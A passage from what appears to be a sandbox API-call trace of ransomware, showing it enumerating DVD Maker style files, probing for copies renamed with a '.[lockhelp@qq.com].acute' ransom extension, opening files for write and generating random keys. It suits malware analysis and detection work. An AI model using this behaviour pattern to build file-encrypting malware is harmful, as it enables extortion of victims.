(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.656] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.656] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=325322) returned 1 [0273.656] CloseHandle (hObject=0x37c) returned 1 [0273.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0273.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.656] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.656] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=141214) returned 1 [0273.657] CloseHandle (hObject=0x37c) returned 1 [0273.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0273.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.657] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.657] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=157214) returned 1 [0273.657] CloseHandle (hObject=0x37c) returned 1 [0273.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0273.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.658] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.661] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=117214) returned 1 [0273.661] CloseHandle (hObject=0x37c) returned 1 [0273.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0273.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.661] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.662] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=141214) returned 1 [0273.662] CloseHandle (hObject=0x37c) returned 1 [0273.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0273.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.662] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.662] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=157292) returned 1 [0273.662] CloseHandle (hObject=0x37c) returned 1 [0273.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0273.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.663] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=157292) returned 1 [0273.663] CloseHandle (hObject=0x37c) returned 1 [0273.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0273.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.663] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.664] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=149292) returned 1 [0273.664] CloseHandle (hObject=0x37c) returned 1 [0273.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0273.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.665] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.666] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=220) returned 1 [0273.666] CloseHandle (hObject=0x30c) returned 1 [0273.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0273.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.666] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2922) returned 1 [0273.666] CloseHandle (hObject=0x30c) returned 1 [0273.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0273.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.666] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.667] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3939) returned 1 [0273.667] CloseHandle (hObject=0x30c) returned 1 [0273.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0273.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.667] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.667] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4503) returned 1 [0273.667] CloseHandle (hObject=0x30c) returned 1 [0273.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0273.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.668] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.668] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4515) returned 1 [0273.668] CloseHandle (hObject=0x30c) returned 1 [0273.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0273.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.668] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.668] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4200) returned 1 [0273.668] CloseHandle (hObject=0x30c) returned 1 [0273.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0273.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.670] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0273.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0273.671] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2739) returned 1 [0273.672] CloseHandle (hObject=0x37c) returned 1 [0273.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0273.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), 